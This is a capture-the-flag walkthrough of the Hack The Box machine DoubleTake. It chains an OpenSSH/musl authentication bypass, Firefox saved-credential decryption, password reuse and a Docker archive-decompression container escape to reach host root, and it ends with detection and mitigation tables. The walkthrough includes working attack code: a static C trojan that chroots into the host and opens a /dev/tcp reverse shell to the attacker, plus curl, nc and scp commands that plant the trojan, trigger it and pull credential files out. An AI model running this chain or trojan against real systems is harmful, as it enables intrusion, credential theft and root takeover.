Overview

DoubleTake is an easy Linux machine built around an AI agent platform (“Zentara”) that is served from inside a Docker container. Only two ports are exposed: SSH on 22 and an HTTP service on 80 that is locked behind HTTP Basic Authentication. The SSH service is an OpenSSH 10.6 build compiled against musl, which makes it vulnerable to CVE-2026-123158, a password authentication bypass that lets any account carrying * in /etc/shadow be logged into if it is allowed to attempt password auth. On this host that account is the default alpine user, landing the first shell inside the container.

From there the box is a credential and container-escape exercise. A saved Firefox login in the alpine profile yields web credentials for the bob account, which is reused for SSH and reads the user flag. The web application exposes a “Deploy” feature that forwards uploaded archives to the Docker daemon’s PUT /containers/{id}/archive endpoint. Docker 29.5.0 is affected by CVE-2026-41567, where the daemon resolves decompression helpers such as xz from the container’s own overlay filesystem rather than the host’s, then runs them as host root. Overwriting /usr/bin/xz inside the container and uploading an xz-compressed archive causes the daemon to execute the planted binary with full host privileges.

The full chain is a clean illustration of how a single vulnerable language runtime (musl) and a single vulnerable daemon (Docker) combine with weak credential handling to go from an anonymous network position to host root.

1
2
3
4
5
6
7
8
9
recon (nmap: 22 ssh musl, 80 http basic-auth realm "Zentara")
  -> CVE-2026-123158 musl crypt() bypass -> auth as alpine (inside container)
  -> plant ssh key -> stable shell -> firefox profile
  -> firefox_decrypt + base64 -> bob:CorrectHorseBatteryStaple
  -> ssh as bob (user flag)
  -> Zentara "Deploy" -> Docker API PUT /containers/{id}/archive
  -> CVE-2026-41567: overwrite container /usr/bin/xz with trojan (workspace=/)
  -> upload .tar.xz -> daemon runs trojan as host root (chroot /proc/1/root)
  -> reverse shell as root (root flag)

Reconnaissance

A full port scan followed by service and script enumeration on the open ports shows a minimal attack surface.

1
2
nmap -p- --min-rate=2000 -T4 10.10.10.x
nmap -p22,80 -sC -sV 10.10.10.x
1
2
3
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.6 (protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)

The HTTP service immediately challenges for credentials, which rules it out until something is recovered elsewhere:

1
curl -Iv http://10.10.10.x/
1
2
3
HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.24.0 (Ubuntu)
WWW-Authenticate: Basic realm="Zentara"

The web app is a dead end without credentials, so SSH becomes the focus. The banner reports OpenSSH 10.6, and the service later turns out to be a musl-based build. OpenSSH 10.6 on a musl distribution without PAM is affected by CVE-2026-123158, a password authentication bypass disclosed in late 2026. That makes SSH the more promising entry point.

Initial Access

CVE-2026-123158 (SSHole)

The bypass is the result of several independent design decisions lining up:

  • BSD convention stores * in the shadow field of accounts that should never authenticate with a password.
  • musl’s crypt() returns the literal string "*" on failure instead of NULL.
  • musl’s SHA-256/512 implementation rejects keys longer than 256 bytes, so an oversized password forces that failure path and returns "*".
  • OpenSSH’s fix for the old CVE-2016-6210 timing side channel borrows a $6$ salt from another local account when the target’s stored field is too short to serve as a salt, which routes a * account through musl’s SHA-512 path.

Put together, any account whose shadow field is * becomes loggable in if sshd lets it attempt password auth: an oversized password makes crypt() return "*", and sshd then compares that against the stored "*" with strcmp() and accepts it. root uses * but is protected by PermitRootLogin no. On this Alpine host the default alpine system account also carries * and is not restricted, so it is the viable target.

The bypass requires two password attempts on a single SSH connection. The first attempt’s salt lookup overwrites the static buffer holding the stored field, so it fails; but the borrowed salt is cached in a static variable. On the second attempt the stored * is reloaded while the cached salt is reused, and the comparison holds. The tester confirms exactly this, succeeding on attempt=2:

1
python3 exploit.py -host 10.10.10.x -v
1
2
3
4
5
6
7
8
[*] target  : 10.10.10.x:22
BANNER SSH-2.0-OpenSSH_10.6
[*] trying user=root
[-] auth failed user=root
[*] trying user=alice
[-] auth failed user=alice
[*] trying user=alpine
BYPASS_CONFIRMED user=alpine attempt=2 id=uid=1000(alpine) gid=1000(alpine) groups=1000(alpine)

The bypass authenticates the session as alpine and provides command execution. To get a stable shell (and key-based scp for later file transfer), an attacker public key is written into the account’s authorized_keys:

1
2
mkdir -p ~/.ssh
echo '<alpine_pubkey>' > ~/.ssh/authorized_keys

Logging back in with the matching private key gives a clean interactive shell as alpine.

Lateral Movement

The shell lands inside a Docker container (hostname 7f906e0ee8ec, an Alpine BusyBox userland). The SSH_CONNECTION environment variable confirms the container sits at 172.17.0.2 behind the Docker bridge:

1
SSH_CONNECTION=10.10.14.x 37890 172.17.0.2 22

The alpine home directory holds a Firefox profile, which is a classic location for recoverable saved credentials:

1
ls ~/.mozilla/firefox/zentara.default
1
cert9.db  key4.db  logins.json  pkcs11.txt  prefs.js  signedInUser.json

The relevant files (logins.json, key4.db, cert9.db, profiles.ini) are pulled back to the attacker host over scp and fed to firefox_decrypt:

1
2
3
4
5
6
7
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/cert9.db .
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/key4.db .
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/logins.json .
scp -i alpine [email protected]:~/.mozilla/firefox/profiles.ini .

git clone https://github.com/unode/firefox_decrypt.git
python3 firefox_decrypt.py ../zentara.default
1
2
3
Website:   http://172.17.0.1
Username: 'Ym9i'
Password: 'Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ=='

The host 172.17.0.1 is the Docker bridge gateway, i.e. the credentials are for the Zentara web app reached through the host. The profile uses encType 0 (no primary-password encryption), so the stored values are only base64-encoded and decode trivially:

1
2
echo "Ym9i" | base64 -d
echo "Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==" | base64 -d
1
2
bob
CorrectHorseBatteryStaple

bob is also a local account in the container. The same password works over SSH, and since user.txt is owned root:bob with 0640 permissions, bob can read it while alpine could not:

1
ssh [email protected]    # CorrectHorseBatteryStaple
1
2
3
4
7f906e0ee8ec:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
7f906e0ee8ec:~$ cat user.txt
[REDACTED_USER_FLAG]

Privilege Escalation

Mapping the Deploy workflow

Authenticating to the Zentara web app with bob:CorrectHorseBatteryStaple exposes an AI agent platform. Two pages matter. The Status page reports the backend engine as Docker 29.5.0 (API 1.54, linux/amd64), running a workspace container named zentara-alpine. The Deploy page accepts .tar, .tar.gz, and .tar.xz uploads with a configurable target path, and its API documentation states that the platform forwards the archive to the container engine via PUT /containers/<container_name>/archive, decompressing .gz and .xz archives server-side before extraction.

That is the exact combination needed for a container escape.

CVE-2026-41567 explained

Docker’s PUT /containers/{id}/archive endpoint extracts an uploaded archive into a container. When the incoming stream is compressed, the daemon has to decompress it first. For some formats Docker uses pure-Go code, but for others it shells out to an external command-line helper: notably xz and unpigz. Formats handled entirely in Go (bzip2, zstd, and native gzip when unpigz is absent) are not affected.

The vulnerability is in how that helper binary is located. Instead of resolving xz/unpigz from a trusted path on the host, the daemon resolves the binary by name against the target container’s overlay filesystem. The binary that ends up executing is therefore whatever lives at /usr/bin/xz inside the container - but it runs in the daemon’s own context, not the container’s. That means:

  • it runs as host root (the daemon’s uid),
  • it inherits the daemon’s capabilities, including CAP_SYS_ADMIN,
  • and it runs in the host PID namespace, outside the container’s isolation.

So an attacker who can both (a) write a file to /usr/bin/xz inside the container and (b) make the daemon decompress an xz archive destined for that container has arbitrary code execution as host root. The Zentara “Deploy” feature provides both primitives in one interface: the archive content controls what gets written where (primitive a, by extracting into /), and the archive compression controls which helper fires (primitive b, by uploading .tar.xz).

A process launched by the daemon with CAP_SYS_ADMIN in the host PID namespace can reach the real host root filesystem through PID 1. /proc/1/root is the root directory of the host init process, so mounting procfs and chroot-ing into /proc/1/root escapes the container entirely.

Building the trojan

The replacement xz does not decompress anything; it breaks out to the host and dials back a shell. It is compiled statically so it has no library dependencies inside the minimal container:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>

int main(int argc, char *argv[]) {
    mount("proc", "/proc", "proc", 0, NULL);
    chroot("/proc/1/root");
    chdir("/");
    execl("/bin/bash", "bash", "-c",
        "bash -i >& /dev/tcp/10.10.14.x/4444 0>&1", NULL);
    return 1;
}
1
gcc -static -o xz xzbinary.c

The binary is packaged at the path the daemon will resolve from the overlay, usr/bin/xz:

1
2
3
4
mkdir -p pkg/usr/bin
mv xz pkg/usr/bin/xz
cd pkg && tar cf ../plant.tar usr/bin/xz
cd ..

Overwriting the container xz

The “Files” upload on the site is blocked by an expired API token, but the “Deploy” endpoint is reachable directly with bob’s credentials. Uploading plant.tar with the target path set to / extracts usr/bin/xz relative to the container root, overwriting the real /usr/bin/xz as root:

1
2
3
4
curl -u bob:CorrectHorseBatteryStaple \
  -F '[email protected]' \
  -F 'workspace=/' \
  http://10.10.10.x/deploy
1
{"deployment":{"created_at":1794506653,"filename":"plant.tar","id":"dep-adb1ce","size":768000,"status":"success","workspace":"/"},"status":"success"}

This step only plants the binary; it does not run it, because plain .tar extraction needs no decompression helper.

Triggering the exploit

A trivial xz-compressed archive provides the decompression trigger:

1
echo x > t && tar cf - t | xz > trigger.tar.xz

With a listener ready on the attacker host:

1
rlwrap nc -lvnp 4444

Uploading trigger.tar.xz through the same endpoint makes the daemon detect xz compression, resolve /usr/bin/xz from the container overlay (now the trojan), and execute it as host root. The reverse shell blocks the request handler, so a 500 response from the web app is the expected success indicator:

1
2
3
4
curl -u bob:CorrectHorseBatteryStaple \
  -F '[email protected]' \
  -F 'workspace=/workspace' \
  http://10.10.10.x/deploy
1
2
3
<!doctype html>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>

The listener catches a shell outside the container, on the host itself:

1
2
3
4
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.x] 50272
bash: cannot set terminal process group (1360): Inappropriate ioctl for device
root@doubletake:/# id
uid=0(root) gid=0(root) groups=0(root)

The host root filesystem is now directly accessible (note cdrom, snap, lost+found, the Ubuntu *.usr-is-merged directories), confirming this is the host and not the Alpine container:

1
cat /root/root.txt
1
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
SSH auth bypass (CVE-2026-123158)musl crypt() returns "*" on failure, combined with OpenSSH borrowing a $6$ salt for * accounts, so an oversized password matches a locked shadow fieldPatch OpenSSH/musl; lock accounts with !/!! rather than *; ensure service/system accounts cannot attempt password auth; prefer key-only auth and PAM on affected builds
Saved Firefox credentialsWeb credentials stored in a Firefox profile with encType 0 (no primary password), recoverable as base64Do not persist application logins in browsers on service hosts; set a primary password; use a secrets manager
Credential reuse (bob)Same password used for the Zentara web login and the bob system accountEnforce unique credentials per service and per account; rotate on exposure
Container escape (CVE-2026-41567)Docker 29.5.0 resolves xz/unpigz from the container overlay and runs them as host root with CAP_SYS_ADMIN during archive decompressionPatch Docker; never proxy user-supplied archives (or arbitrary extraction paths) to the Docker API; restrict the deploy target to a fixed workspace; drop CAP_SYS_ADMIN; run rootless Docker

Detection signals:

  • SSH authentication succeeding for a system/locked account (alpine) that normally never logs in, and auth attempts carrying abnormally long passwords or multiple password attempts within a single connection.
  • A new authorized_keys file appearing in a service account’s home directory shortly after SSH access.
  • Deploy requests whose target path is / or anything outside /workspace, or archives writing to system paths such as usr/bin/xz.
  • The Docker daemon spawning xz or unpigz with an unexpected child process (bash -i, /dev/tcp, chroot) or making outbound network connections, especially correlated with mount/chroot of /proc/1/root.
  • 500 responses on the deploy endpoint coinciding with the daemon hanging on a request.

Lessons Learned

  • A memory-safe or hardened-looking service is only as safe as its underlying libc. The SSH bypass was not a flaw in OpenSSH logic alone but in how musl’s crypt() and SHA implementation behaved at the edges, which is why the same OpenSSH version is safe on glibc.
  • Locked accounts must be truly non-authenticating. A * shadow field is an assumption, not an enforcement; relying on it instead of PermitRootLogin-style controls or explicit auth restrictions left alpine exploitable.
  • Browsers are credential stores. encType 0 means the saved password was effectively plaintext, and a readable profile directory is equivalent to leaking those logins.
  • Credential reuse bridges trust boundaries. One password covered both the web app and a shell account, turning a saved web login into interactive access.
  • Exposing a privileged daemon’s API through an application is exposing the daemon. Forwarding user-controlled archives and extraction paths to the Docker socket handed the attacker a code-execution primitive that ran as host root.
  • Decompression is code execution. Any pipeline that shells out to helpers like xz/unpigz must resolve them from a trusted, fixed location, never from attacker-influenced filesystem state.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Recon
nmap -p- --min-rate=2000 -T4 10.10.10.x
nmap -p22,80 -sC -sV 10.10.10.x
curl -Iv http://10.10.10.x/

# Initial access - CVE-2026-123158 (musl/OpenSSH auth bypass)
python3 exploit.py -host 10.10.10.x -v
# via bypass command exec as alpine:
mkdir -p ~/.ssh && echo '<alpine_pubkey>' > ~/.ssh/authorized_keys

# Loot Firefox profile and recover web creds
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/cert9.db .
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/key4.db .
scp -i alpine [email protected]:~/.mozilla/firefox/zentara.default/logins.json .
scp -i alpine [email protected]:~/.mozilla/firefox/profiles.ini .
git clone https://github.com/unode/firefox_decrypt.git
python3 firefox_decrypt.py ../zentara.default
echo "Ym9i" | base64 -d
echo "Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==" | base64 -d

# Lateral movement + user flag
ssh [email protected]          # CorrectHorseBatteryStaple
cat user.txt

# Privilege escalation - CVE-2026-41567 (Docker archive decompression escape)
gcc -static -o xz xzbinary.c
mkdir -p pkg/usr/bin && mv xz pkg/usr/bin/xz
cd pkg && tar cf ../plant.tar usr/bin/xz && cd ..

# 1) overwrite container /usr/bin/xz by extracting into /
curl -u bob:CorrectHorseBatteryStaple -F '[email protected]' -F 'workspace=/' http://10.10.10.x/deploy

# 2) trigger decompression -> host root
echo x > t && tar cf - t | xz > trigger.tar.xz
rlwrap nc -lvnp 4444        # listener on 10.10.14.x
curl -u bob:CorrectHorseBatteryStaple -F '[email protected]' -F 'workspace=/workspace' http://10.10.10.x/deploy

# root flag
cat /root/root.txt

Based on public write-ups of the Hack The Box machine DoubleTake.